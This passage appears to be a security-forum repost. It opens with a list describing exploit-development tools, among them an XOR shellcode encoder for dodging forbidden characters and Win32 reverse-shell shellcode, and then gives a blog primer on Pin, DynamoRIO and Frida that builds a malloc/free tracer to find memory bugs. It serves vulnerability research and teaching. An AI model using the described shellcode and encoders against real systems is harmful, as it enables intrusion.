cumbersome without proper process I/O primitives. (Gist) request2size.c - Simple utility calculating some basic heap chunk's characteristics like chunk size, bin index and it's range - according to original Doug Lea's heap allocator implementation. Useful while grasping Heap Overflow binning conditions. (Gist) find-aslr-collision.sh - Find ASLR collision bash one-liner. (Gist) For the record: x86 ( Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux) ASLR collision found after: 903 re-launch. (it takes no more than couple of seconds ) x86_64 ( Linux work 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux ) ASLR collision found after: 304610 re-launch. (it took roughly 16 minutes ) findInstr.sh - Ultra simple Assembly instruction grepper rolling byte-by-byte within target's .text section - to be used while looking for trampoline address for ROP/Exploit (Gist) bin2shellcode.py - Binary blob to C-array simple converting script. Useful when embedding compiled binary shellcode within C program. (Gist) execve.c - Example of simple execve("/bin/sh", ...) shellcode, embedded in C program. (Gist) memory-occupied-by-process.sh - Bash oneliner counting number of bytes occupied by chosen (by PID) process. It works by iterating /proc/$PID/maps file, then computing each memory region range size, then adding it together. Kinda slow though. Worth to mention - it is terribly bad at performance, having written this oneliner I realized we can use /proc/$PID/smaps to obtain the same result much faster. (Gist) shellc2bin.py - Shellcode 2 binary script that reads C-formatted array from Windows clipboard and converts it to binary output written to desired file. (Gist) encshell.py - x86 Shellcode XOR-based encoder intended to do away forbidden chars. Came handy to me several times (Gist) shellcode_win32_netw_active.asm - Win32/x86 Reverse-Shell Shellcode written by hand, with dynamic API resolution. shellcode_win32_spawn_cmd.asm - Win32/x86 Spawn CMD shellcode with dynamic API resolution. Sursa: https://github.com/mgeeky/Exploit-Development-Tools
-
Dynamic Binary Instrumentation Primer Jul 25, 2018 • By rui Dynamic Binary Instrumentation (DBI) is a method of analyzing the behavior of a binary application at runtime through the injection of instrumentation code - Uninformed 2007 Introduction The purpose of this post is to document my dive into the “world” of Dynamic Binary Instrumentation. I’ll cover some of the most well known and used DBI frameworks. That is Pin, DynamoRIO, and Frida. From these three I’ll mainly focus on Pin. There are other DBI frameworks that I won’t touch at all, like Valgrind, Triton (uses Pin), QDBI, BAP, Dyninst, plus many others. You might want to have a look at them. Some are more mature, some are less mature. Some have more features, some have fewer features. You’ll have to do some research yourself and see which ones fit your needs. Even though Valgrind is one of the most widely known, and used DBI frameworks, it’s only available for Linux. So, I won’t touch it at all. In my vulnerability hunting adventures I’ve been focused on Windows, and in fact, if you want to take the code I’ll present here and build it on Linux it should be pretty straightforward. While the opposite wouldn’t be true. The reason being is that building Pin or DynamoRIO on Windows can be a bit frustrating. Especially if you aren’t motivated to do so. I’m not an expert in this area (DBI), however since the beginning of the year that I’ve been doing some experiments around Fuzzing, and I’ve read a lot about the subject. Hence, I’ll try to document some of what I learned for future reference. Possibly you’ll also find it useful. Note that my goal was to write a reference and not a tutorial. The funny part is that I actually thought about doing “something” with Pin, or DynamoRIO, while trying to do some browser Heap Spraying. Basically, I wanted to monitor the memory allocations my code was producing. While I could do it inside a debugger I thought, “why not use a DBI framework? Maybe I can learn something”. After all, debuggers are slow. Until today, I’m still unsure if I prefer to use WinDbg or Pin for this anyway. Instrumentation According to Wikipedia, instrumentation refers to an ability to monitor or measure the level of a product’s performance, to diagnose errors and to write trace information. Programmers implement instrumentation in the form of code instructions that monitor specific components in a system (…). When an application contains instrumentation code, it can be managed using a management tool. Instrumentation is necessary to review the performance of the application. Instrumentation approaches can be of two types: Source instrumentation and binary instrumentation. As stated above, there are two types of instrumentation. Source instrumentation, which is not possible if you don’t have the source code of the software application. And binary instrumentation, which can be used with any software application assuming we can execute it. It turns out that most of the programs you run on a Windows operating system are closed source. Which means, in this post, I’ll be “talking” only about binary instrumentation. Often called Dynamic Binary Instrumentation, or Dynamic Binary Modification. Because words take too long, usually people use the acronym DBI, as I already did above. In a one-line statement, Dynamic Binary Instrumentation is a technique that involves injecting instrumentation code into a running process. The instrumentation code will be entirely transparent to the application that it’s been injected to. With a DBI framework, we can analyze the target binary execution step by step. However, note that the analysis only applies to executed code. Dynamic Program Analysis There are two types of program analysis, static, and dynamic. We perform static analysis without running a computer program. While we perform dynamic analysis when we run a computer program. Citing Wikipedia again, Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor. For dynamic program analysis to be effective, the target program must be executed with sufficient test inputs to produce interesting behavior. Use of software testing measures such as code coverage helps ensure that an adequate slice of the program’s set of possible behaviors has been observed. Dynamic binary modification tools, like the frameworks mentioned earlier, introduce a layer between a running program and the underlying operating system. Providing a unique opportunity to inspect and modify user-level program instructions while a program executes. These systems are very complex internally. However, all the complexity is masked in an API that allows any user to quickly build a multitude of tools to aid software analysis. And that’s what I’ll try to show in this post, by sharing some code I wrote while playing with some DBI frameworks. There are many reasons for us to observe and modify the runtime behavior of a computer program. Software and/or hardware developers, system engineers, bug hunters, malware analysts, end users, and so on. All of them will have their own reasons. DBI frameworks provide access to every executed user-level instruction. Besides a potentially small runtime and memory overhead, the program will run identically to a native execution. You can say that the main advantage of static analysis is that it ensures 100% code coverage. With dynamic analysis, to ensure a high code coverage we’ll need to run the program many times, and with different inputs so the analysis takes different code paths. However, in some cases, the software applications are so big that’s too costly to perform static analysis. I would say, one complements the other. Even though static analysis is very boring, and dynamic analysis is (very) fun. As I mentioned before, DBI frameworks operate directly in binaries/executables. We don’t need the source code of the program. We don’t need to (re)compile or (re)link the program. Obviously, this is an major advantage, as it allows us to analyze proprietary software. A dynamic binary system operates at the same time as the “guest” program executes while performing all the requested/required modifications on the fly. This dynamic approach can also handle programs that generate code dynamically (even though it imposes a big engineering challenge), that is, self-modifying code. If you “google” a bit you’ll actually find multiple cases where DBI frameworks are/were used to analyze malware with self-modifying code. As an example, check this presentation from last year’s blackhat Europe. Or, this post about how to unpack Skype with Pin. DBI frameworks are daily used to solve computer architecture problems, being heavily used in software engineering, program analysis, and computer security. Software engineers want to deeply understand the software they develop, analyze its performance, and runtime behavior in a systematic manner. One common use of DBI frameworks is emulating new CPU instructions. Since the dynamic binary system has access to every instruction before executing it, hardware engineers can actually use these systems to test new instructions that are currently unsupported by the hardware. Instead of executing a specific instruction, they can emulate the new instruction behavior. The same approach can be used to replace faulty instructions with the correct emulation of the desired behavior. Anyway, from a computer security perspective, a DBI system can be used for flow analysis, taint analysis, fuzzing, code coverage, test cases generation, reverse engineering, debugging, vulnerability detection, and even crazy things like patching of vulnerabilities, and automated exploit development. There are two main ways of using a dynamic binary system. The first, and eventually most common, in computer security at least, is executing a program from start to finish under the control of the dynamic binary system. We use it when we want to achieve full system simulation/emulation because full control and code coverage are desired. The second, we may just want to attach to an already running program (exactly in the same way a debugger can be attached, or detached, from a running program). This option might be useful if we are interested in figuring out what a program is doing in a specific moment. Besides, most of the DBI frameworks have three modes of execution. Interpretation mode, probe mode, and JIT mode. The JIT (just-in-time) mode is the most common implementation, and most commonly used mode even when the DBI system supports more than one mode of execution. In JIT mode the original binary/executable is actually never modified or executed. The binary is seen as data, and a modified copy of the binary is generated in a new memory area (but only for the executed parts of the binary, not the whole binary). Is this modified copy that’s then executed. In interpretation mode, the binary is also seen as data, and each instruction is used as a lookup table of alternative instructions that have the corresponding functionality (as implemented by the user). In probe mode, the binary is actually modified by overwriting instructions with new instructions. even though this results in a low run-time overhead it’s very limited in certain architectures (like x86). Whatever the execution mode, once we have control over the execution of a program, through a DBI framework, we then have the ability to add instrumentation into the executing program. We can insert our code, instrumentation, before and after blocks of code, or even replace them completely. We can visualize how it works in the diagram below. Also, there are different types of granularity. Instruction level Basic block level Function level The granularity choice, as you can guess, will allow you to have more, or less, control over the execution of a program. Obviously, this will have an impact on performance. Also, note that instrumenting a program in its totality is unpractical in most cases. Performance You might be thinking what’s the performance impact of modifying a running program on the fly as described above. Well, I have a very limited experience to answer this question. However, after reading multiple papers, articles, and presentations, the overhead commonly observed depends on a random number of factors really. Anyway, as kind of expected, the modifications the user implements are responsible for the majority of the overhead. The number 30% is apparently accepted as a common average number observed. Can’t really remember where I read this to mention the source, but I definitely read it somewhere. You’ll find it for sure in the References section anyway. Obviously, one of the first decisions that you, as a DBI user, will have to make is to decide the amount of code coverage required by your needs and the amount of performance overhead you’ll be able to accept as reasonable. Pin Pin is a DBI framework developed by Intel Corp. It allows us to build program analysis tools known as Pintools, for Windows, Linux, and OSX. We can use these tools to monitor, modify, and record the behavior of a program while it is running. Pin is proprietary software. However, we can download and use it free of charge for non-commercial use. Besides the documentation and the binaries, Pin also includes source code for a large collection of sample Pintools. These are invaluable examples that we must consider, and definitely read, before developing any Pintool. In my opinion, Pin is the easiest DBI framework to use. At least I felt it was easier to dive into it’s API than into the DynamoRIO one. Even though I didn’t spend too much time trying to learn other APIs besides these two, I had a look at a few others. Like Valgrind, Triton, Dyninst, and Frida. The choice will always depend on what you intend to do, honestly. If you want to create a commercial tool and distribute binary versions of it, Pin won’t be a good choice. If that’s not the case, Pin might be a very good choice. Mainly because based on the tests I did, Pin is stable and reliable. I had some issues running some programs under some DBI frameworks. Mainly big programs, like Office suites, games, and AV engines. Some DBI frameworks were failing miserably, some even with small applications. Pin setup (Windows) Pin setup in Linux is quite straightforward. However, on Windows systems, it can be a bit tricky. See below how to quickly set it up to get started in case you want to try the samples I’ll present in this post. Get the latest Pin version from here, and unpack it on your C:\ drive, or wherever you want. For simplicity, I usually use C:\pin. I advise you to do the same if you plan to follow some of the experiments presented in this post. The Pin zip file includes a big collection of sample Pintools under source/tools. The API is very easy to read and understand as we’ll see. By the end of this post you should be able to read the source code of most of the samples without any struggle (well, kind of). I like Visual Studio, and I’ll be using it to build “every” tool mentioned in this post. There’s one Pintool sample that’s almost ready to be built with Visual Studio. You’ll have to adjust only a couple of settings. However, I didn’t want to manually copy and rename files every time I wanted to create a new Pintool project. So I created a sample project already tweaked, available here that you can place under C:\pin\source\tools, together with the following python script. The script was inspired by Peter’s script. However, since the way newer versions of Visual Studio save the settings has changed I had to re-write/create a completely new script. So, every time you want to build a new Pintool with Visual Studio, just do: cd\ cd pin python create_pintool_project.py -p <name_of_your_project> You can then just click the project’s solution file and build your Pintool with Visual Studio without any pain. I used Visual Studio Professional 2015, but it will also work with Visual Studio 2017. I did a couple of builds with Visual Studio 2017 Enterprise without any issue. Pin Visual Studio integration We can add our Pintools as external tools to Visual Studio. This will allow us to run, and test, our Pintool without using the command line all the time. The configuration is very simple. From the Tools menu, select External tools and a dialog box will appear. Click the Add button and fill out the text input boxes according to the image below. In the Title, input text box enter whatever you want. In the Command input text box enter the full path to your pin.exe, so c:\pin\pin.exe in case you installed it under c:\pin. In the Arguments, you must include all the arguments you want to pass to your Pintool. You’ll need at least the ones specified in the image above. The -t is to specify where your Pintool is, and after the -- is the target program you want to instrument. After the setup, you can simply run your Pintool from the Tools menu as shown in the image below. Click ok, and enjoy. The Output window of Visual Studio will show whatever the output your Pintool is writing to stdout. DynamoRIO DynamoRIO is another DBI framework originally developed in a collaboration between HP’s Dynamo optimization system and the Runtime Introspection and Optimization (RIO) research group at MIT. It allows us to build program analysis tools known as clients, for Windows, and Linux. We can use these tools to monitor, modify, and record the behavior of a program while it is running. DynamoRIO was first released as a proprietary binary toolkit in 2002 and was later open-sourced with a BSD license in 2009. Like Pin, it also comes with source code for multiple client samples. These are invaluable examples to get us started and playing with its API. DynamoRIO is a runtime code manipulation system which allows code transformation on any part of the program as the program runs. It works as an intermediate platform between applications and operating system. As I said before, I didn’t find DynamoRIO’s API the most friendly and easy to use. However, if you plan to make a commercial version, and/or distribute binary versions, DynamoRIO might be the best option. One of its advantages is the fact that it is BSD licensed, which means free software. If that’s important for you, go with DynamoRIO. Also note that’s commonly accepted that DynamoRIO is faster than Pin, check the References section. However, is equally accepted that Pin is more reliable than DynamoRIO, which I also personally experienced when running big software programs. DynamoRIO setup (Windows) To install DynamoRIO on Windows simply download the latest Windows version from here (DynamoRIO-Windows-7.0.0-RC1.zip at the time of this writing), and similarly to what we did with Pin just unzip it under C:\dynamorio. To build your own DynamoRIO projects on Windows it can be a bit tricky though. You can try to follow the instructions here or the instructions here or, to avoid frustration, just… use my DynamoRIO Visual Studio template project. As I said before, I like Visual Studio. I created a sample project already tweaked with all the includes and libs required (assuming you unzipped DynamoRIO in the directory I mentioned before), available here. Then, more or less the same way we did with Pin, also download the following python script. Since the file structure of the project is a bit different I couldn’t use the script I wrote before to clone a project, and I had to create a new one specific to DynamoRIO. So, every time you want to build a new DynamoRIO client with Visual Studio, just do: python create_dynamorio_project.py -p <name_of_your_project> The command above assumes that both the Python script and the template project mentioned above are in the same folder. You can then just click the project’s solution file and build your DynamoRIO client with Visual Studio without any pain. I used Visual Studio Professional 2015, but it will also work with Visual Studio 2017. I did a couple of builds with Visual Studio 2017 Enterprise without any issue. DynamoRIO Visual Studio integration We can also integrate DynamoRIO with Visual Studio, exactly the same way we did with Pin. Since the setup process is exactly the same, I’ll only leave here the screenshot below and you can figure how to do the rest. Frida Frida is a DBI framework developed mainly by Ole. It became very popular among the “mobile” community and gained a considerable group of contributors (now sponsored by NowSecure). Frida supports OSX, Windows, Linux, and QNX, and has an API available for multiple languages, like Python, C#, Swift, Qt\QML and C. Just like the DBI frameworks mentioned above, we can use Frida together with scripts to monitor, modify, and record the behavior of a program while it is running. Frida is free (free as in free beer) and is very easy to install (see below). There are also many usage examples online that we can use to get started. Frida injects Google’s V8 engine into a process. Then, Frida core communicates with Frida’s agent (process side) and uses the V8 engine to run the JavaScript code (creating dynamic hooks). Frida’s API has two main parts. The JavaScript API and the bindings API. I didn’t dive too deep into them and just used the most popular I believe. That is the JavaScript API. I found it easy to use, very flexible, and I could use it to quickly write some introspection tools. Even though Pin and DynamoRIO are the “main” DBI frameworks, and most mature, Frida has some advantages. As mentioned above, it has bindings for other/more languages, and rapid tool development is a reality. It also has some disadvantages, less maturity, less documentation, less granularity than other frameworks, and consequently lack of some functionalities. Frida setup (Windows) Frida’s setup is very easy. Just download https://bootstrap.pypa.io/get-pip.py and then run: python get-pip.py And, to actually install Frida type the following. cd\ cd Python27\Scripts pip.exe install frida And that’s it, you are ready to go. Yes, you have to install Python before the steps above. However, I don’t know anyone that doesn’t have Python installed so I just assume it’s already there. Generic DBI usage Before diving into some code, I’ll try to document in this section generic ways of using some of the DBI frameworks I mentioned before. More precisely Pin, and DynamoRIO. As mentioned before, the most common execution mode in a DBI system is the JIT (just-in-time-compiler). The JIT compiler will create a modified copy of chunks of instructions just before executing them, and these will be cached in memory. This mode of execution is the default in most of the DBI frameworks I had a look and is also generally accepted as the most robust execution model. Also, as mentioned before, there are two main methods to control the execution of a program. The first is to run the entire program under the control of the DBI framework. The second is to attach to a program already running. Just like a debugger. Below is the standard way to run a program under the control of a DBI system. Our target/guest application is not directly launched from the command line. Instead, it is passed as an argument to the DBI system. The DBI system initializes itself, and then launches the program under its control and modifies the program according to the plug-in. The plug-in contains the actual user-defined code, that is our instrumentation code. The plug-in on Pin it’s called Pintool, on DynamoRIO it’s called client, on Frida I believe it’s simply called script? PIN JIT mode. pin.exe <pin args> -t <pintool>.dll <pintool args> -- target_program.exe <target_program args> PIN Probe mode. pin.exe -probe <pin args> -t <pintool>.dll <pintool args> -- target_program.exe <target_program args> DynamoRIO JIT mode. drrun.exe -client <dynamorio client>.dll 0 "" target_program.exe <target_program args> DynamoRIO Probe mode. drrun.exe -mode probe -client <dynamorio client>.dll 0 "" target_program.exe <target_program args> As we can see above, the way we launch Pin and DynamoRIO it is not that different. In Linux systems, it’s pretty much the same (yes, remove the .exe, and substitute the .dll by .so and that’s it). Obviously, there are many other options that can be passed on the command line besides the ones shown above. For a full list check the help/man pages. Above are just the required options for reference. Frida is a bit different, and we’ll see ahead how to use it. If you want to attach to a running process, you can do it with Pin. However, as of today, attaching to a process with DynamoRIO is not supported. However, there are two methods of running a process under DynamoRIO in Windows. You can read more about it here. With Pin you can simply attach to a process by using the -pid argument as shown below. pin.exe -pid <target pid> <other pin args> -t <pintool>.dll <pintool args> User defined modifications Despite the DBI we are using, each DBI framework provides an API that we can use to specify how we modify the target/guest program. The abstraction introduced by the API is used together with code usually written in C, or C++ (or even JavaScript, or Swift in the case of Frida) to create a plug-in (in the form of a shared library as we saw above) which will then be “injected” in the running target/guest program by the DBI system. It will run on the same address space of the target/guest program. This means that in order for us to use a DBI system, we need not only to know how to launch a target/guest program, as illustrated above but also be familiar and understand the API exported by the framework we want to use. Unfortunately, the APIs of these multiple frameworks are very different. However, as will see the general concepts apply to most of them. As I mentioned before, I’ll be focusing mainly in Pin. I’ll also try to recreate more or less the same functionality with DynamoRIO and Frida, so we will also get a bit familiar with their API somehow. Note that the API coverage won’t be by any means extensive. I advise you to check each DBI framework API documentation if you want to know more. By following this post you’ll simply get a sense of what’s available in the API, eventually limited to the use case scenario I chose. The idea behind any API is to hide the complexity of certain operations from the user, without removing any power to perform any task (including complex tasks). We can usually say that the easier is to use the API the better it is. All the APIs allow us to, in a certain way, iterate over the instructions the DBI system is about to run. This allows us to add, remove, modify, or observe the instructions prior to execute them. For example, my initial idea was to simply log (observe) all the calls to memory related functions (malloc, and free). We can, not only introduce instructions to get profiling/tracing information about a program but also introduce complex changes to the point of completely replace certain instructions with a completely new implementation. Think for example, as replacing all the malloc calls with your own malloc implementation (that, for example, introduces shadow bytes and so on). In DynamoRIO it’s slightly different. However, in Pin most of the API routines are call based. This makes the API very user-friendly. At least to the way I think when I visualize the usage of a DBI system. This is also possible with DynamoRIO, obviously, as we will see. Basically, we register a callback to be notified when certain events occur (a call to malloc). For performance reasons, Pin inlines these callbacks. As we saw, most of the DBI frameworks support multiple operating systems, and platforms. Most of the time, the APIs are the same and all the differences between operating systems are kept away from the user and handled “under the table”. However, there are still certain APIs that are specific to certain operating systems. You need to be aware of that. It’s also important to distinguish between instrumentation and analysis code. Instrumentation code is applied to specific code locations, while analysis code is applied to events that occur at some point in the execution of the program. As stated on Wikipedia Instrumentation routines are called when code that has not yet been recompiled is about to be run, and enable the insertion of analysis routines. Analysis routines are called when the code associated with them is run. In other words, instrumentation routines define where to insert instrumentation. Analysis routines define what to do when the instrumentation is activated. The APIs of Pin, DynamoRIO, and Frida allow us to iterate over the target/guest program with a distinct level of granularities. That is, iterate over every single instruction, just before an instruction execute, entire basic blocks, traces (multiple basic blocks), or the entire target/guest program (image). Example tool As I mentioned, while I was playing with Heap Spraying I felt the need of logging all the memory allocations my code was performing. Since I felt a bit annoyed after doing this repeatedly with WinDbg, even with some automation, I thought about doing it with a DBI framework. More precisely, with Pin. I remember that during one of Peter Van Eeckhoutte’s exploitation classes he mentioned he had written something similar. I looked at his GitHub and found his Pintool. I had a look at his code, but since he used Visual Studio 2012, plus an old version of Pin, plus a different approach of what I had in mind, plus a different goal (I had in mind doing something else besides logging memory allocations), and things changed a bit since then… I decided to write my own Pintool instead of using, or modifying, his code. After all, it’s all about struggling and learning. Not running tools. Later I realized that most of his code comes from the Pin documentation, so does mine. The goal was to write a Pintool, or a DynamoRIO client, and use it to detect critical memory issues. Such as memory leaks and double frees. Yes, in C/C++ programs. You may say that there are plenty of tools that already allow you to do that, and that’s eventually true (in fact DynamoRIO comes with a couple of tools that can help here). The point here was to learn how to write my own tool, have fun, get familiar with DBI frameworks, and document my experiments for later reference. Eventually, it will also be used as a soft introduction to Dynamic Binary Analysis by people who don’t know where to start. So, the “critical memory issues” I had in mind weren’t really that difficult to trace. After looking at some almost ready to go code samples, I found in the Pin’s documentation, I ended up expanding a bit the initial logging goal I had in mind. And added a couple of “features” to aid my vulnerability discover capabilities. As you know, some common memory (de)allocation problems in C/C++ programs are: Memory leaks Double frees Invalid frees Use after frees. Note, I’m not detecting these at the moment. It’s tricky, even if it looks easy at first. I’ll add this feature at some point but it requires a bit more of engineering and testing. I assume everyone knows what the problems listed above are. If you don’t, or you need a ‘refresh’, just click the links above. At least the first 3 problems are very “easy” to detect with a Pintool, or a DynamoRIO client. I’ll do a couple of assumptions. The target program is a single binary/executable file, and the only functions that I’ll track to allocate and free memory are malloc and free (calloc, and realloc are just “special” versions of malloc anyway). Internally new and delete use malloc and free, so we are covered. I can simply “monitor” these calls. I won’t consider other functions like realloc, calloc, HeapAlloc, HeapFree, etc. (for now). Yes, for now, I’ll focus only on the generic malloc and free functions from the C Run-Time Library. In Windows, these functions when called will then call HeapAlloc and HeapFree. Here’s a diagram showing the relationship of Windows API calls used to allocate process memory (from the book The Art of Memory Forensics, and used with authorization. Thanks to Andrew Case). As we can see above, ideally we should actually be “monitoring” RtlAllocateHeap and RtlFreeHeap. However, we can ignore this for now. This way, if you just want to try this code in Linux, or OSX, its mostly copy and paste. Later, in the main version of this tool, I’ll indeed be only working with the Windows Heap functions or my Pintool won’t work with Internet Explorer, for example. Whenever a program calls malloc, I’ll log the return address (that is, the address of the allocated memory region). Whenever a program calls free, I’ll match its address being freed with the addresses I saved before. If it has been allocated and not freed, I’ll mark it as free. If it has been allocated and already freed, then we have a double free. If I don’t have that address saved has been allocated before, then we have a free of unallocated memory. Simple, huh? Finally, when the program exits, I can look at my records to detect memory addresses that have been allocated but not freed. This way I can also detect memory leaks. As we’ll see, using a dynamic binary framework to achieve what’s described above can be done with very little effort. However, there are some issues that we’ll ignore to keep this post simple. As you can eventually guess, the Heap Manager also plays a role here, and our tool might have to be Heap Manager specific if we don’t want to be flooded with false positives. Also, as mentioned before, this tool will tell us there’s a bug, but not exactly where. You can tell your tool to break/pause when an issue is found and attach a debugger. However, depending on the class of bug it may still be very hard to find where’s the bug and reproduce it. While I was writing this blog post, a very interesting tool from Joxean Koret called membugtool was released during the EuskalHack 2018 conference. His tool does a bit more than mine (well, actually considerable more), and the code is certainly better than mine. Keep following this post if you want to learn more about Pin and other DBI frameworks, but don’t forget to check his tool later. I was actually very happy when I saw it released because it means my idea wasn’t a complete nonsense. On top of that Joxean Koret is a respected researcher that I’ve been following for quite a long time, mainly due to his awesome work on breaking Antivirus engines. Target/Guest program (ExercisePin.exe) To test our multiple dynamic binary analysis tools, I wrote the following non-sense program (I called it ExercisePin.exe). It’s quite clear that there are some memory leaks, an invalid free, and a potential double-free (depending on our input). #include <stdio.h> #include <stdlib.h> void do_nothing() { int *xyz = (int*)malloc(2); } int main(int argc, char* argv[]) { free(NULL); do_nothing(); char *A = (char*)malloc(128 * sizeof(char)); char *B = (char*)malloc(128 * sizeof(char)); char *C = (char*)malloc(128 * sizeof(char)); free(A); free(C); if (argc != 2) do_nothing(); else free(C); puts("done"); return 0; } As you can see it’s a very stupid program, I recommend you to test your tools with real software and see how they behave. Also, check the previously mentioned project membugtool since it includes a very nice set of tests which actually made me lazy and I didn’t even try to improve the code above and create new sample buggy programs. Depending on which compiler you use to build this sample, you might have different results. I built mine with Visual Studio. It has advantages, and disadvantages. If you prefer you can use Dev-C++ (which uses GCC), or cygwin (and install gcc or i686-w64-mingw32-gcc.exe), or even Embarcadero. Anyway, expect different results depending on the compiler you choose to build the target program. Basic Pintool (MallocTracer) In this first Pintool example, I’m logging all the malloc and free calls. The instrumentation is added before and after the malloc call and logs the parameter passed to the call and its return value. For the free call we’ll only look at its parameter, and not at its return value. So the instrumentation is only added before the call. This Pintool will not be very useful in big applications since it doesn’t really tell you where the issue is. Anyway, it is a good start and will serve the purpose of “showing” how the Pin API can be used. We need to start by choosing which instrumentation granularity we’ll use. Have a look at the documentation for more details. I’ll be using Image instrumentation. Image instrumentation lets the Pintool inspect and instrument an entire image, IMG, when it is first loaded. A Pintool can walk the sections, SEC, of the image, the routines, RTN, of a section, and the instructions, INS of a routine. Instrumentation can be inserted so that it is executed before or after a routine is executed, or before or after an instruction is executed. Image instrumentation utilizes the IMG_AddInstrumentFunction API call. Image instrumentation depends on symbol information to determine routine boundaries hence PIN_InitSymbols must be called before PIN_Init. We start with some includes. To use the Pin API we need to include pin.h. #include "pin.h" #include <iostream> #include <fstream> #include <map> The iostream header is required for basic input/output operations, and the fstream header is required because I’ll write the output of my Pintool to a file. In small programs, we could live with the console output, however for big programs we need to save the output to a file. If you are instrumenting Internet Explorer for example and playing with some JavaScript code, the amount of malloc and free calls is impressive (well, RtlAllocateHeap, and RtlFreeHeap). In some big programs you might not even want to write to disk every time there’s a call due to performance reasons, but let’s ignore that to keep things simple. Additionally, I’ll use a map container to keep a log of all the memory allocated and freed. Check the References section to see how the C++ map container “works” if you aren’t used to writing code in C++. Since I’m not a developer, I’m not, so my code can be a bit scary but hopefully works. Consider yourself warned. I’ll also have some global variables. It’s very common to use global variables in a Pintool, have a look at the samples provided to get a feeling of how they are most commonly used. In my case, I’ll use the following global variables. map<ADDRINT, bool> MallocMap; ofstream LogFile; KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name"); I already mentioned the map container above, again have a look here if you don’t know how it works. The idea is to store in this MallocMap the state of each allocation. The ADDRINT type is defined in pin.h, and as you can guess represents a memory address. It will be mapped to a BOOL value. If the BOOL value is set to true it means it has been deallocated. The LogFile is the output file where I’ll save the output of the Pintool. Lastly, the KNOB variable. It is basically a switch supported by our Pintool (a way to get command arguments to our Pintool. This KNOB allows us to specify the name of the log file through the “o” switch. Its default value is “memprofile.out”. If we look at the main function of the code samples, you’ll see that they are all very similar. And the one below is no exception. int main(int argc, char *argv[]) { PIN_InitSymbols(); PIN_Init(argc, argv); LogFile.open(LogFileName.Value().c_str()); IMG_AddInstrumentFunction(CustomInstrumentation, NULL); PIN_AddFiniFunction(FinalFunc, NULL); PIN_StartProgram(); return 0; } I have to call PIN_InitSymbols before PIN_Init because I’m using Image instrumentation, which depends on symbol information. Then I open the log file for writing, and I call IMG_AddInstrumentFunction. The instrumentation function that I’ll be using is called CustomInstrumentation and is defined by me (not a Pin API function). You can call it whatever you want. Then I have to call PIN_AddFiniFunction, which is a call to a function to be executed immediately before the application exits. In this case, my function is FinalFunc. Finally, I call PIN_StartProgram to start executing my program. This function never returns. So let’s have a look at my CustomInstrumentation() function. VOID CustomInstrumentation(IMG img, VOID *v) { for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) { string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY); if (undFuncName == "malloc") { RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(allocRtn)) { RTN_Open(allocRtn); // Record Malloc size RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); // Record Malloc return address RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(allocRtn); } } else if (undFuncName == "free") { RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(freeRtn)) { RTN_Open(freeRtn); RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); RTN_Close(freeRtn); } } } } We need to “tell” Pin what are the instrumentation routines, and when to execute them. The instrumentation routine above is called every time an image is loaded, and then we also “tell” Pin where to insert the analysis routines. Basically, above, when we find a call to malloc or free we insert the analysis routines by using the RTN_InsertCall function. The RTN_InsertCall accepts multiple arguments, a variable number of arguments actually. Three are quite important, and you can easily guess which ones by looking at these calls. The first is the routine we want to instrument. The second is an IPOINT that determines where the analysis call is inserted relative to the instrumented object. And the third is the analysis routine to be inserted. Also, note that all RTN_InsertCall functions must be preceded by a call to RTN_Open and followed by a call to RTN_Close. We can specify a list of arguments to be passed to the analysis routine, and this list must be terminated with IARG_END. As we can also guess by looking at the code, to pass the return value of malloc to the analysis routine we use IARG_FUNCRET_EXITPOINT_VALUE. To pass the argument of the malloc or free calls to the analysis routine, we use IARG_FUNCARG_ENTRYPOINT_VALUE followed by the index of the argument. In our case, both are 0 (first and only argument). All the Pin functions that operate at the routine level start with RTN_. Have a look at the RTN Routine Object documentation here. Also, all the Pin functions that operate at the image level start with IMG_. Have a look at the IMG Image Object documentation here. The same applies to all the Pin functions that operate at the symbol level, they all (or almost all) start with SYM_. Have a look at the SYM Symbol Object documentation here. You might be thinking how Pin finds malloc and free. Pin will use whatever symbol information is available. Debug symbols from the target/guest program if available, PDB files if available, export tables, and dbghelp. There are two possible methods to instrument our functions. We can use RTN_FindByName, or alternatively handling name-mangling and multiple symbols (the method I used) as shown below. for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) { string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY); if (undFuncName == "malloc") // find the malloc function After we find the calls (malloc and free in our example) we want to instrument, we “tell” Pin which function must be called every time a malloc call is executed. // Record Malloc size RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); // Record Malloc return address RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); If we look at the code above, we have two calls to RTN_InsertCall. In the first, we “tell” Pin which function must be called before the malloc call. In the second we “tell” Pin which function must be called after the malloc call. We want to log the allocation sizes and the return value of the malloc call. So, we need both. For the free call, we are only interested in its parameter (the address of the memory to free). RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); These three functions are very straightforward. First, before the malloc call we just want to save the size of the memory being allocated. VOID LogBeforeMalloc(ADDRINT size) { LogFile << "[*] malloc(" << dec << size << ")"; } After the malloc call, we just want to save the return address. However, as we 